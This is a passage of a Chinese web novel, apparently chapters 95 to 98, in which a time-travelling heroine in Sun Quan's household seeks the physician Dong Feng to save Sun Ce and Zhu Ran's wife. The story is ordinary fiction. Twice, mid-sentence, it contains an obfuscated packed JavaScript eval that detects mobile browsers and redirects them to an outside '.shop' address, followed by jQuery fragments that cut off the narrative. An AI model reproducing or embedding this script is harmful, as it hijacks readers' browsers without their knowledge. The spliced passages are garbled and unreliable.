望着两人身影渐远,步一乔的心沉静下来。她慢慢回味过往种种,最后定格在严白虎最后一句话上。 “帮我救人的神医……三月中旬、四月……四月初四……” 声音渐弱,她眼睛倏然睁大。 “四月初四……孙策!” * “严白虎的样本给了我线索……阿舒的出现是为了引路。我的目标,是改写历史,扭转孙策的命运……若他真能忘却前尘,在世人眼中‘孙策’已逝,可实际上,他却能活着。” 步一乔坐在桃花树下,执枝在地面勾画。 “这样,既不改动历史大势,也能保住他的性命。” 只是……那神医,那药,当真存在么? “要做的事越来越多,得列个清单。” 眼下三月初,距孙权承继江东,仅余一月。 她原本的打算,是次要任务先行为日后招贤铺路,混个脸熟,也好早作安排。 而首要任务,自然是守在孙权身边,促成他按历史轨迹,将几位夫人一一迎入府中。 “谢夫人那边,也得设法安抚……” 再拖下去,若谢氏心生不满,必成后患。 至于解法……步一乔脑海中,忽地闪过朱然临别的脸,以及那情急之下应下的承诺。 “以朱然和孙权的关系,他不敢妄动。还是先解谢氏一事,之后,便去北山寻访神医。纵然是传闻,也值得一试。” 若孙策真能活下来,与大乔远离纷争,共度余生……那便既遂了她最初的心愿,也兑现了对大乔的诺言。 梳理至此,步一乔舒了口气,望着满院含苞的桃枝,神思微恍。 明明经历了这许多,却像仍在原地,甚至……仍在时间的长河里徒劳跋涉。 “不过,也好。” 严白虎活着,有了珍视之人。孙策与大乔依旧恩爱。小乔与周瑜的第一个孩子定会平安降生。鲁肃与阮素心尚未相遇,甄霖在北方应当安好,甘宁和苏飞……还有几年才会来江东。 “瞧我这活的,比人家一辈子都长……都累……” 她蜷起身子,抱着自己慢慢躺下。 有些累,想睡会儿。 “这地方隐蔽……没人会发现我吧……呼……” * 【与此同时,孙府】 吴夫人端坐上首,谢夫人陪坐一侧。堂下是追捕未果的卫兵,以及朱然。 “人呢?” “回老夫人,追至码头时两人分逃。属下等奉命追阿舒,不料半路杀出一蒙面高手,未能拿下。” 吴夫人目光转向朱然。 “人呢?” “在码头与末将护卫缠斗,身负重伤,现于末将府中养伤。” “养伤?你倒会替仲谋护人。我下的令,你忘了?” “义封不敢忘。今日禀明老夫人,实是另有隐情欲坦诚相告。” “说。” 朱然正要开口,门外忽传孙权已至府前。吴夫人冷笑一,命他即刻进来。唯独朱然面色微僵,这仲谋来得可真不 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朱然未敢与他对视,转向吴夫人,单膝跪下: “一乔虽身份微末,然性情坚韧灵慧,令末将心折。此番她重伤,于公于私,末将皆无法坐视。将她安置府中,一为保全性命以便老夫人问询,二亦存了私心,盼能亲自照拂。” 吴夫人沉默片刻,忽地冷笑:“你是我看着长大的,自幼沉稳。今日莫不是见我严惩此女,才编出这套说辞,替他们解围?” “末将岂敢以此等大事作戏?若非情根深种,怎会甘冒触怒老夫人与仲谋之险?一乔……她亦知我心意。” 孙权紧抿着唇,他太了解朱然,绝非信口开河之徒。可正因如此,这番话才更狠狠撞在他的心口。 是真的?还是为大局演的戏?理智告诉他是后者,可那窜起的窒闷,却搅得他心神难安。 此时,谢夫人温声开口:“母亲,义封向来持重,若非实情,想必不会如此坦诚。何不就此成全,将一乔许予义封?” 吴夫人轻叹,拍了拍她的手:“偏你善解人意。罢了,听你的。” 孙权倏然起身:“母亲!” “坐下!”吴夫人未看他,只盯着朱然,“既是个卑贱侍女,你喜欢,留在你府上便是。” “多谢老夫人。” 礼毕,朱然终于抬眸,看向孙权。 相识数年的默契,就在方才,似有一条裂缝。孙权突然不明白朱然到底在想什么。 * 朱然退下后,孙权几乎要追出去,却被吴夫人厉声喝止。门窗紧闭,整个孙府都能听见内堂传来的怒斥。 “我看你是帮人偏袒,是自己动了念!明媒正娶的夫人你不亲近,整日惦着个侍女,我从前是如何教导你的?!” 孙权垂首不语,只默默承受。 “从今日起,不准再宿在书房!” “……是。” 吴夫人盯了他半晌,胸中那口气未散,化作一声沉叹:“仲谋,你不是不知轻重的孩子,有些话母亲不说,想你心中有数。” 孙权视线落在青砖缝隙间。 “孩儿明白。” 吴夫人终于挥手:“庐江之事不可耽搁,快去吧。” * 孙权转身退出,带上门,见朱然背影立在院中,径直走去。 “一乔呢?” “刚踏出房门,就忘了老夫人的训诫?” “我在问你话。她受伤了?是你手下的人动的手?人现在究竟在何处?” 朱然抬眼迎上孙权的视线,黄昏光晕半明半昧,衬得他怒意更甚。 “与护卫拉扯时撞上了缆桩,流了些鼻血,应无大碍。毕竟她从我院中逃走时,跑得可利索得很。” “一乔不在你府上?!” “她为了给那个叫阿舒的侍女找条后路,去了西门外的桃花林。” 见孙权转身就要走,朱然朗声一笑,伸手拦住他。 “且慢。我既主动告知她的去向,日后,可莫怪我今日‘横刀夺爱’。这位一乔姑娘,往后,便是我朱府的人了。” * 孙权命副官先行赶往庐江,自己策马直奔城西桃花林。 天色彻底沉下,仍未寻见步一乔身影。暮春的风拂过桃枝,簌簌轻响,也吹凉他心头那团躁火。 此处的桃花总开得晚,三月未盛。 孙权直起身,目光沉沉投向林子更深处。再往西,便是通往北山的野径。 “深夜不可入山,她应知晓。莫非……” 他猛地甩头,挥开不安,对着空寂桃林提气高喊: “步一乔——!你在何处——!” 余音散尽,他复又喊道: “步一乔——!” “我在这儿!” 孙权蓦地一怔,疑是错觉。 “孙权——!我在这儿——!” 是她声音,清晰穿过沉寂桃林,自深处传来。 孙权辨明方向,疾步寻去。穿过最后一片影绰花枝,眼前豁然开朗。 溪边巨石上,步一乔抱着膝盖坐在那里。发髻微乱,身前血迹明显,裙摆沾草叶,一双眼却映着天上星子。 孙权在她面前刹住脚步,所有的话堵在喉头,最后只化作一声无奈宠溺。 “……你啊。我果然……应该走哪儿,都将你带上。” 步一乔仰头看他,嘴角弯起,拍了拍身侧示意他来坐。 “我今天跟跑了马拉松似的,这会儿腿都抬不起来了。” 月光漫过溪水,照亮她留痕的脸与手。 孙权仔细打量她全身,又心疼地落回她脸上。想要触碰,又怕弄疼她。 “还疼吗?” “不疼了。阿舒给的药很灵,我擦了药,在树下睡了一觉,醒来就好多了。” 她说得轻描淡写,孙权的心却一点点疼得厉害。他曾许诺护她周全,却总让她陷入险境,一次次死里逃生 他埋下头,握住她的手。 “抱歉,一乔……” 步一乔笑着拍了拍他的头顶:“你有公务在身,事发突然,怎能怪你?” “不,不是此事……” 步一乔怔住,困惑偏头,等他的下文。 孙权抬起眼,夜风忽然静了,连溪流声都仿佛远去。 “义封为替你我解围,说你二人情意相投……母亲应允了。还命人锁了我的书房,自此以后,只准与谢氏在厢房过夜。” 步一乔脸上的笑容倏然凝住。 “又严命我与谢氏……须在来年开春之前,诞下一子。” 96. 山外山 “诞下一子……” 步一乔呆滞地连连颔首。 “嗯……是该让长子出生了……” 她脸上的血色褪得干净,那只刚拍过孙权头顶的手,无力地垂落下来。 步一乔不再看孙权。她转过身,面向背后沉在墨色里的桃林。 “我们一开始说好的,所以,你不必道歉。我……失落一会儿就好。” “一乔……” 孙权的手下意识抬起,想要触碰她的肩,却在半空僵住。 “我果然……还是回去求母亲。不管是谢氏,还是义封之事!” 步一乔猝然回身。 “站住!那可是你的母亲!你要造反吗!” 四目相对。他眼中是翻涌的赤红,她眸里是冻火的寒冰。 下一瞬,孙权抓住她的手,不由分说便拖拽着她往林外走。 “你做什么?!” “我的事,我说了算。我是你在这世间的依靠,你也得听我的。” “我听你——!” 步一乔借着他拖拽的力道旋身,另一只手攥成拳,用尽全力撞进他腰腹之间。 “呃!” 孙权闷哼一声,松了手,踉跄着退了两步,弯下腰去。 步一乔看着他吃痛的模样,又低头看向自己的拳头。 孙权自小习武,不该这么疼才对。 他受伤了?何时?去庐江的路上吗? 没等她细想,孙权已撑着膝盖直起身,走到她跟前,将她从地上拉起。 “义封求许是权宜之计,我自有办法让他‘主动’退掉。至于谢氏……我说过,除你以外,不会碰任何女子。” “你……不对,你受伤了?快让我看看,我这儿还剩些药,你——” “骗你的。我们扯平了。” 孙权扬起唇角,步一乔怔住,随即忍俊不禁。 瞬间,忽如一夜春风来,千树万树桃花开。迟来的繁盛期,到了。 * “谁说是权宜之计?” 闻声,步一乔和孙权同时望去,朱然从飘落的花瓣中走来。他在两人面前几步外站定,脸上没什么表情,甚至称得上温和。 “一乔姑娘,夜色已深,林中寒湿,随我回府吧。” 孙权向前半步,将步一乔挡在身后半个身位。 “义封,你僭越了。” “僭越?老夫人亲口允诺,何来僭越?” “那不过是——” “——是权宜之计。”朱然接过孙权的话,“仲谋方才说,要让我‘主动’退掉这事。可若我,不愿退呢?” 步一乔感觉到孙权握着自己的手收紧,是濒临爆发的怒意。 “仲谋,你要做孝子,要为江东扛起一切。身为挚友,我明白。所以那些你扛不动、或是不该扛的,不妨交给我。” “义封此话何意?” 朱然向前迈了一步,拉近与步一乔的距离。 “从老夫人点头那刻起,一乔已是我的人。我带她走,天经地义。” 话音落下的瞬间,孙权拔出腰间佩剑。 “义封,收回这句话。否则——” “否则如何?”朱然竟笑了。 他甚至没有看那剑锋,只盯着孙权猩红的眼睛。 “杀了我?然后告诉天下人,孙二公子为争夺一女子,不惜戕害肱股兄弟?” “孙权!” 步一乔挣开孙权的手,将剑抢夺到自己手中,帮忙收回剑鞘。而后,看向一脸戏谑的朱然。 “逗他好玩儿吗?” 朱然点头,诚恳道:“好玩。看他为你方寸大乱至此,着实有趣。哎呀呀,这真是我认识的那个孙仲谋么?莫不是……被人换了魂?” 孙权额角的青筋似乎跳了一下,终于意识到自己被戏耍。 步一乔看着这两人的,终于“扑哧”一声笑了出来,刹那间冲淡了所有剑拔弩张的空气。 “难怪主公让你俩一起读书呢。动静结合,天生一对啊。” 朱然立刻抚掌,深表赞同:“一乔此言,深得我心!若后世有歌曰‘朱然孙权,情同手足,无人可比’,足矣!” 孙权瞪了他一眼,嘴角却上扬了些弧度。 “所以一乔姑娘,你是如何看出,我方才只是虚张声势,逗弄仲谋?”朱然好奇道。 步一乔伸出三根手指,不紧不慢地数起来。 “其一,你若真铁了心要带我走,以义封兄之能,此刻我应当已在去往你府邸的马车上了,怎会还在此处,与你二人多费唇舌?” 朱然挑眉,示意她继续。 “其二,你提及‘老夫人应允’时,虽言辞凿凿,眼神却一直落在孙权身上,观察他的反应多过在意我的去留。” 孙权听到这里,略显无奈。 “至于其三嘛,也是最要紧的一点。我认识的朱义封,重情重义,更识大局。断不会为了一女子,与多年挚友,彻底撕破脸。” 朱然静静地看了步一乔片刻,眼中玩味尽去,忽然整了整衣袍,对着孙权,也是对着步一乔,郑重地、长长一揖。 “佩服佩服。若无女官先例,凭一乔姑娘的才智,定能胜任。既然坦诚相待,一乔姑娘可否告知姓氏?” 步一乔偷偷瞄了眼孙权,无所顾虑后才道:“步,步一乔。” “步氏?莫非是——” “不是。” “哦。” * 贫嘴闲话到此为止。眼下步一乔是万不可回孙府的,而孙权又有要事需赶往庐江。 “与我同去吧。” 孙权牵起步一乔的手,却被摇头拒绝。 “我有要事,天明之后,须往北山一趟。” “何事?” 步一乔看向朱然。朱然会意,转身退至远处。 “还记得严白虎么?” “自然记得。三年前,他已死于兄长刀下。” “他还活着。” 孙权瞳孔一震。 “阿舒潜入孙府,本是为他复仇。大约是见伯符气势太盛,始终未敢动手。” “你如何确信那人就是严白虎?你亲眼所见?” “必是本人无疑。所以,我打算去北山寻那位神医。若真能如他所说‘包治百病,忘记前尘’,我便暗中救下伯符,安排大乔与他离开江东,你依史书所载,继承祖业。” 孙权沉默良久开口:“若真有这样的神医,你如何确定他会帮我们?” “总要试试嘛。而且,我总觉得这话在哪儿听过。” 包治百病,忘记前尘……莫非曾经有人与自己说过同样的话?但自己没上心,忘得干净? 孙权忽地攥住她的手:“切勿冒险,万不可单独行动。” 步一乔浅笑颔首:“你放心去庐江便是,我能照顾好自己。” 朱然恰从不远处一棵树后探出身来,咧嘴笑道:“正是正是,你且安心前去,一乔姑娘自有我看顾。” 孙权眉头一蹙。 朱然朗声大笑:“她如今不便回孙府,暂住我府上不正是上策?” 孙权舒展眉头,望了眼天色,道:“夜间不赶路,今夜,只好去义封家中叨扰了。” “啊?”朱然怔愣,“你也来啊?你回家睡啊。” “母亲还在气头上,况且一乔受了伤,我不放心。” 两人含情脉脉地牵着手相望。朱然狠狠打了个寒颤,连退两步指着他们。 “先说好!安排的厢房就在我卧房隔壁,你俩夜里可不许闹出什么动静!” 步一乔和孙权极其默契地投去无奈的眼神。 “十岁偷翻房中术,一个人看不过瘾,非要拽着同读的孙仲谋共赏。光看还不够,还躲在房中临摹,被人发现,就说是孙仲谋藏在你屋中的。怎么如今倒装起纯情来了,朱然大人?”步一乔挑眉坏笑道。 朱然骤然僵住,随即怒目圆睁:“你——!仲谋,你出卖我!” 孙权从容负手,道:“她对你我之事如数家珍。义封,往后说话行事,还是当心些为好。” 朱然怒了一下,转瞬消气,负手转身朝前。 “罢了罢了。反正仲谋小时候没少替我背锅挨揍,就当我还他了。” 他脚步又顿住,再开口时,戏谑已荡然无存。 “仲谋,我今日帮你救了一乔姑娘,她……你也要帮我救下。” 步一乔疑惑地看向孙权,“她?” 孙权眸光暗沉,“可我……至今还未寻到董大夫。” “董大夫?”步一乔眨眨眼,“莫非是建安三大神医之一的医仙董奉?” “嗯。义封的妻室病重,唯有董大夫能救。但他行踪不定,隐于民间,实在……难寻踪迹。” 一片沉寂中,朱然忽然抬眼望来,沉静如铁。 “可我已救了她。一命,当换一命。“所以仲谋,你欠我一条命。若不成,她的命,我随时收回。” * 次日早晨。 天未全亮,步一乔与朱然立在府门外,目送孙权上马。 “切记莫要贸然行事,万事三思。”孙权勒住缰绳,一脸担忧。 步一乔仰首轻笑,“行啦,你都叮嘱八百遍了。一路小心,等你回来。” 朱然抱臂站在阶前,朝孙权扬了扬下巴:“庐江那边若有棘手事,随时传信,我第一时间赶去。” 马蹄声起,孙权回头又望了一眼,步一乔立在朦胧晨光里,垫着脚与他挥手告别。 直到一人一马消失在长街尽头,朱然才叹了口气,侧目看向身旁仍凝望远方的女子。 “你究竟施了什么仙家法术,竟把我们家仲谋变成了这般痴情模样?” “就当你在夸我吧。” 步一乔转回身,正色望进朱然眼里。 “昨日之事,与孙权无关。我欠你的,我自己来还。” 朱然眉梢微挑,好整以暇地抱起双臂。 “哦?你待如何还?” “你不是要寻神医么?我帮你找。董奉的下落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959628|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,交给我。” 朱然看着步一乔认真的样子,朗声笑起来,饶有兴致地打量起她。 “董奉行踪缥缈,我寻了整整两年都杳无音信。你刚来江东不久,凭什么?” “你夫人病了这么久?” “是幼时落下的病根。看过的大夫都说,恐怕活不过十七。” 步一乔一震:“……还剩多久?” 朱然抬眸望向天际渐亮的云霞,晨风将他额前的碎发吹得微乱。 “今年,便是十七。” 余日无多。 “主公本欲调我驻守会稽,但念及清儿时日就在近月,终许我留在吴郡照料。” “她叫清儿?” “禾清,禾苗之禾,清水之清。自她出生,两家便定下亲约。待她及笄那年,我总算将她迎进了门。” 等了十五年,相守却不足两载。 步一乔望着这个平日插科打诨、潇洒不羁的男人,此刻落寞得让人看得心头酸涩。 “我会找医仙的,一定!” 二十六年太短,十七年亦然。 朱然长子朱绩由妾室所生,而正妻,史书仅留下一句“朱然为其抱憾一生”。 “小小变数,应该不会牵动历史吧……” * 【北山】 问遍山下砍柴的樵夫、采药的农人,步一乔在北山辗转了整整五日,终于在一处人迹罕至的深谷中,寻到了被重重绿意掩住的茅屋。 与周遭苍郁的松杉截然不同,茅屋四周,竟密密栽着一片杏林。 “找到了……真的是董奉医仙……” 世人皆传,董奉医术通神,却不取诊金,只嘱病愈者栽杏为报:重症者五株,轻症者一株。 待春深杏熟,他便在树下置一竹仓,任人携谷换杏,再将所得粮粟悉数散予贫民、馈赠行旅。 “杏林春暖”的佳话,便自此始。 步一乔走到院外,不见人影,便提声问道: “敢问,董大夫可在家?” 良久,柴门从内推开。一个约莫三十来岁的男子手持药杵,瞥了她一眼,转身往屋里走。 “进来罢。” 屋内光线充足,药香清冽。案上散着堆满竹简,满墙立着密密药柜。董奉径自走到炉前,拨了拨炭火。 “为谁求医?” “为孙策将军,和朱然之妻。” 董奉瞄了眼步一乔,视线继续落回炉上。 董奉目光在她身上稍停,随即又落回炉上。 “那药,如今我只有一枚。救将军,还是救朱家娘子,姑娘可想好了?” “一颗?!不能多做几颗吗?” “药非儿戏,岂能说有便有?更何况,我那可是包治百病的神药。” “那要多久?” “半年可得一枚。” “半年?!” 孙将军之疾,只余一月之期。禾清夫人病势垂危,亦难逾此月。 “半年太长,等不及。董大夫,难道……真的别无他法?” 董奉不语,只将手中药杵转了一圈。 “没有。姑娘想定之后,再来告诉我罢。” * 步一乔默然起身,朝董奉微微颔首,转身退出了茅屋。 她没有立刻离开,寻了棵杏树,倚着树干坐下。树根处盘结,她仰起头,透过杏叶望向天空。 那些叶子刚由嫩绿转为深碧,却已透出勃勃生机。 这片杏林,每株都曾是一条人命。 步一乔突然后悔自己当初没选择学医,救人便救人,不像现在,必须抉择出生死。 而且,根本抉择不出来。 哪怕太阳即将西沉,她也没想好答案。 不远处的房檐炊烟袅袅。医仙正准备晚膳吧。 步一乔盯着屋门发愣,见它被推开,董奉负着手,不紧不慢朝她走来。 “姑娘还在这儿呢。” “我……还没想出答案。” “姑娘是信守承诺之人。那为何我当初的话,却忘得一干二净?” “你的话?” “不是阿舒与白虎告知,我有这种神药吗。” “是……” 步一乔恍然大悟。 “你是……与素心姑娘初见那日,街上忙着去茅房的大夫?!” “我早告诉过你神药的存在,为何不早些来寻我?” “我当时以为……你是卖假药的……便没在意……” “你以为?”董奉轻笑摇头。 “凡事皆是你以为,太过自以为是,并非善习。行事只图眼前,不计后果,待到无可挽回时,便只剩茫然无措。怎么,等着旁人一次次来救你么?” “我……” “病急才投医,临危方求药,哪还来得及。想救他人之前,先看清自己罢。” 说着,董奉从袖中取出一只小瓶,递到她面前。 “最后一颗。你自己服下。” 步一乔愣住:“我?” 97. 望海潮 步一乔先是一愣,随即失笑。 “我身子好得很,服这药岂非糟蹋?” “是吗。姑娘当真从未做过……耗损根本之事?” “难、难道医仙是指……纵欲过度?!” 董奉略显无语,转身向茅屋走去。 “进屋吧,我为姑娘诊脉。” 步一乔跟在他身后,心里发着虚。她大抵猜到是穿越耗了根本,可这缘故,绝不能教董奉知晓。 进屋落座。董奉在案前坐下,指了指对面的蒲团。 “手。” 她依言伸出左腕。董奉三指搭上,阖眼静听。 良久,他指尖一顿。 步一乔紧张得屏住了气。 “勿要紧张,气息紊乱,脉象便失其真。” “是……” 又过片刻,董奉收回手,抬眼看向她。 “姑娘脉象虚浮,先天之精有亏,非寻常劳损可比。像是魂魄曾离体远游,归来时未携足本元。” “医仙是说……我生来体弱?” “不是生来,是近半年内。姑娘自己应当有所察觉,身子较从前虚弱,心绪起伏难定,易躁易怒,以及,你方才所说的纵欲之象。” 步一乔指尖微蜷。这些症状,她确实都有。 “此非寻常药石可医。”董奉将那只药瓶又往前推了半寸。 “若再拖延,待根基彻底枯涸,便难救了。” 步一乔望着小小的瓷瓶,喉间发紧。 “可我若服了……孙将军与禾清夫人又当如何?” “那是你的选择。是舍己渡人,还是先渡己身。” 董奉沉了口气起身,走向膳房。 “姑娘可要一同用膳?” 步一乔意识恍惚,迟缓地看了眼门外昏黄的天色,撑着膝盖起身。 “不打扰神医了,我这便离开。” 等董奉端着热菜从膳房出来时,人已不见踪影。 桌案上的药瓶依旧在原处。 * 春季山中多雨,步一乔下山到一半突降大雨,幸而没伴随雷鸣,她找了棵树躲躲。 她望着雨幕,仍在思考那个问题。 唯一的药,到底该给孙策,还是禾清夫人。 至于自己…… “我可是要和孙权走完此生,半年内不会倒下的。” “然后等我再制一颗新的给你吗?” 身后传声来,步一乔回望去,董奉撑着伞走来。 “医仙不是在用膳吗?” “放在灶头上,待会儿回去也是热的。” 雨水顺着董奉手中的油纸伞边缘滑落,他在步一乔身旁站定,将伞微微倾向她。 “我若真选了,医仙会不会觉得我太自私?” “药是我制的,但‘选择’从来不是医者该替人做的事。” 董奉侧过头,目光落在她微湿的肩头:“你躲的这棵树,叶子太稀。明明往前十步便有片岩檐,为何不去?” 步一乔没动,反而问:“若你是孙权,会希望我怎么选?救兄长,还是履行与朱然的承诺?” “我不是他。” 董奉收回了目光,望向迷蒙的远山。 “我虽不知你为何替孙将军求药,甚至在病入膏肓之人,与健全之人中做抉择。但求生之人比求死的更值得医治。” 步一乔苦笑,“伯符不是在求死,他是为江东基业……” 可他喜杀戮的性子,不正是引火烧身。 “你为何救孙策?据我所知,大将军前些日子,可杀了不少本地氏族。其中,还有吴郡太守许贡。” “是啊,许贡……却放走了他的门客。” 董奉似是明白,伞又往步一乔那边偏了些。 “是担心门客突袭,所以求药,以备不时之需?” “嗯……” “那,朱然之妻呢?与姑娘交情颇深?” “倒不是,我甚至没见过禾清夫人。但朱然救了我,一命换一命。” “一者为报恩,那另一者,又是为何?” 步一乔长长一叹。 “是为完成我来到这世间的初衷。” 董奉看向她,轻笑朝前,将两人皆笼于伞下。 “此时下山,恐难在天黑前抵达。可要借宿一宿?” “怕扰了医仙清静。” “无妨。你也该饿了。” * 吃过晚膳,步一乔主动提出帮忙收拾,董奉也不推辞,转身去了主屋,继续侍弄那些药草。 步一乔擦干水走回主屋,屋里竟未点灯,黑沉沉的,只有月光从窗外铺进来,映着董奉捣药的侧影。他连这片刻工夫也舍不得耽搁,借着那点微光辨认。 “这样看下去,眼睛会坏的。” 步一乔说着,依次点亮屋角四盏油灯,又端了一盏走到董奉案前,轻轻放下。 “姑娘想学么?” “医术?”步一乔在案旁坐下,摇头轻笑,“还是罢了,我哪有这般天赋。” “天赋?不过是多看、多问、多错几回罢了。世上哪有生来就会治病的人。” 步一乔沉默片刻,捻起桌上一根掉落的干药草。 “那……医仙当初为何学医?” “因为乱世。烽火连年,生者不及死者众。行医者日稀,若再无人提灯照拂,这人间……怕是要消亡了。” 步一乔指尖的药草停住了。她看着灯下董奉平静的侧脸,像在说一件寻常的事。 “不愧是医仙。” “多谢夸奖。” 董奉笑着,抬手一指架子上的瓦罐,道:“取来。” 步一乔未加思索,便起身去取。 “以水二升渍,绞取汁。”董奉又补了一句。 “啊?”步一乔抱着瓦罐愣住,“何意?” “用两升水浸泡这罐中的药材,再绞出汁水来。” 步一乔这才恍然,忙抱着瓦罐去寻水勺。屋角木架上整齐列着陶瓮与量器,她依言取水,又将罐中药材悉数倒入盆中。 她低头看着水中渐渐舒展的药草,忽然轻声问:“医仙当初学草药时,也有人这样一步步教你么?” “怎会,师父可没空搭理我。只丢给我一卷《本草》,指了后山一片药园,说‘认得全了再来找我’。” “那……认了多久?” “整整一个春秋。白日认药,夜晚背书。认错一味,便罚多挑十担水。” “难怪能制出神药……我想把世态参透,修炼到医仙这地步,还差几十年呐。” “姑娘眼中,我年纪似乎不小啊?” 步一乔歪头疑惑。 董奉放下药杵,从她手中接过木盆,指尖探入水中试了试温度。又叫步一乔去膳房门外取些干草木棍来。 步一乔依言取回来时,董奉已将药汁滤出,正将药液注入一只陶壶中。见她走近,他轻轻将壶推到她面前。 “拿着,放在灶上,用文火煨着。火势万不可大,两刻钟后我来看。” “啊?哦……好。” 她捧着陶壶走向角落的泥炉,炭火已暗,余温尚存。她蹲下身,小心将陶壶架在火上,又添了几根细柴,火苗重新舔舐壶底。 药香渐渐弥漫开来,清苦中带着一丝不易察觉的甘甜。 “莫非加了糖?”步一乔嗅了嗅,脱口而出。 “嗯,怕病人吃不得苦,特地加了点。” “原来如此,不愧是医仙,就是贴心。” 董奉继续整理着案上的药材,步一乔坐在泥炉前盯着火光发呆。 好久没如此清净地度过夜晚。她侧目望了眼窗外,雨早停了,此时月明星稀、风过深林。也不知孙权停在哪方驿站休息。 两刻钟将到时,董奉走了过来。他俯身凑近壶口嗅了嗅,又看了看火候,微微颔首。 “端下来吧,喝的时候小心烫。” “啊?给我的?” “你这身子再不补,我那下一颗神药,怕是得提前预备给你了。” 步一乔怔了怔,低下头去捧盛出汤药的瓷碗。 “我的身子,有这么弱吗?” 董奉抬头看了她一眼,将秘密压回心底,示意她专心喝药。 那方子补身子不假,不过主要是安胎。 董奉见步一乔似是不清楚自己已有身孕,便没告知,特地抓了怀胎初期安胎的方子给她。 乱世风雨飘摇,多一分知晓,有时反是多一重心事。 “还不知姑娘是哪家小姐?” 步一乔苦着脸放下药碗,擦了擦嘴角:“我哪是什么小姐,不过是个丫鬟罢了。” 董奉失笑:“那倒是个清闲的丫鬟。日日跑上山来寻我,府里给你的差事?” “是被老夫人赶尽杀绝跑出来的,当然清闲。” “因为什么?与孙氏公子有关?” “嗯……” 步一乔略显无奈地抱着腿坐在炉边取暖。 “你说得对,我总能死里逃生,是因为次次有人来救我。狂妄自大,落得如今这般狼狈。” “姑娘这是记仇了啊。” 她摇头,下巴抵在膝头,“是医仙说得在理,我在反省。” 孙权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964429|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也说得对。他是在她在这世间唯一的依靠,他有他的谋断,她不该次次抵触、反驳。只要确保历史的大方向不变,应该不会有问题……吧。 可教授说过,她的存在本身就是最大的变数。 那她究竟该如何自处,才能不搅动这既定的长河?难道要像个木桩,眼睁睁看着一切发生? 可她已在局中。血肉之躯,如何能只做一双旁观的眼睛? “所以孙权那日说的‘春耕计划’,到底是什么?” “姑娘。”董奉唤到,“来帮我。” “好。” 步一乔走到董奉身边,他将一捧晒干的茯苓推到她面前:“分拣,拣出杂质,留下干净完整的。” 她学着他的样子坐下,分拣需要专注,这恰是她此刻需要的。 “医仙,”她忽然开口,“若一个人明知前路是荆棘,甚至可能身死,但……那是她必须走的路。医者会劝她回头吗?” “不会。” “为何?” “因为医者前半生……便是这么走来的。” 屋外,山雨不知何时到来,董奉匆忙放下手里的东西,冲向院子,将晾晒的药草收入房中,步一乔也前去帮忙。 待收拾停当,步一乔却立在阶前望着雨幕出神。不知不觉间,竟向前踱了两步,任雨水打湿了衣衫。 “我的记忆中缺了一块,我怀疑……与死亡和复生有关。孙权没告诉我,我也没问,怕知晓真相。” 董奉站在她身后檐下安静听着。 步一乔长长叹了口气。 “利用时间悖论,妄图改变什么……结果什么也改不了,还得亲手将一切推回原状。几次死里逃生,原来全是无用功。” 就好像至今走过的每一步,都悬在虚无之上。 “所以,哪怕一线生机,我也要抓住它。” 她回头看向董奉。 “唯一的药,我知道给谁了。” “谁?” “孙策。” “为何是他?” “原因有三。其一,我是个自私的人。其二,我不认识禾清夫人。其三……我答应了孙权,也答应了大乔。” 答应孙权,定会救他兄长。尽管那场大火,她已履行了一半诺言。 答应大乔,许她余生圆满。让仅有的半年,再长一些,再久一些。 董奉沉默半晌,追问:“那禾清夫人怎么办?” 步一乔沉下眸子,“骗朱然,说我没寻到医仙。欠他的命,他要我怎么还……我都认。” “哪怕是要你的命吗?” “嗯。他要,给他便是。” 她抬起眼,雨水顺着下颌滴落。 此刻,落下的仿佛不是雨,是春日盛放的花,心境从未如此明晰,如此坦然。 董奉的表情却截然不同。 “那你怎么办?” “我?”步一乔轻笑,“我的命数我自己清楚,我不会有事的。” 她笑着回望董奉。 “至少半年之内不会。医仙的下一颗药,我就提前预定啦。” 董奉顺手拿起依靠廊柱下的伞,撑着伞走到步一乔跟前。 “在你眼里,我是什么?卖药的?” 这问题,问得怎么如此让人产生歧义? 步一乔沉吟回答:“医仙?建安三大神医之一?” 董奉无语,“罢了,慢慢想。进屋吧,淋湿了。” 步一乔:“?” * 半夜,步一乔在泥炉边随意搭的铺上辗转,忽地惊醒。 她猛地坐起,脑中一片雪亮,赤着脚便冲到董奉床榻边,险些带倒一旁的矮凳。 “伯符是因无药可医而亡,神药留给他自是应当。但禾清夫人的病,医仙未必不能治啊!” 我怎么把这茬给忘了! 难怪刚才医仙问了个奇怪的问题。 步一乔忽觉浑身一轻,又沉沉跌坐在榻沿,扶着额连连苦笑。 “笑什么?” “啊!医仙?”她惊得往后一缩,“你怎么醒了……吓我一跳。” 董奉已坐起身,昏暗中看不清神情。 “你坐在我床边又笑又叹,我能不醒么。” “抱歉……” “快睡吧,明早,我陪你下山,去朱府。” “真的?!谢谢医仙!” “别光谢。”董奉侧过身,面朝里,“想想如何报答我。” 步一乔一愣:“可医仙不是从不收酬劳么?莫非……是谣言?” “对贫苦百姓,分文不取。但你……我破例了。” 98. 桃花血 步一乔突然觉得郁闷。 欠完这个欠那个,是陷入什么循环套路吗,永远都还不完! “要钱没,要命……也没有!我现在什么都没有,没法付报酬。” “不是人还在吗?” 步一乔投去震惊的目光,“你……你的医者仁心呢?!” 董奉回以同样讶异的神情,“你的纵欲过度就是让你凡事都往那方面思考吗?” “不、不是那个意思吗?” 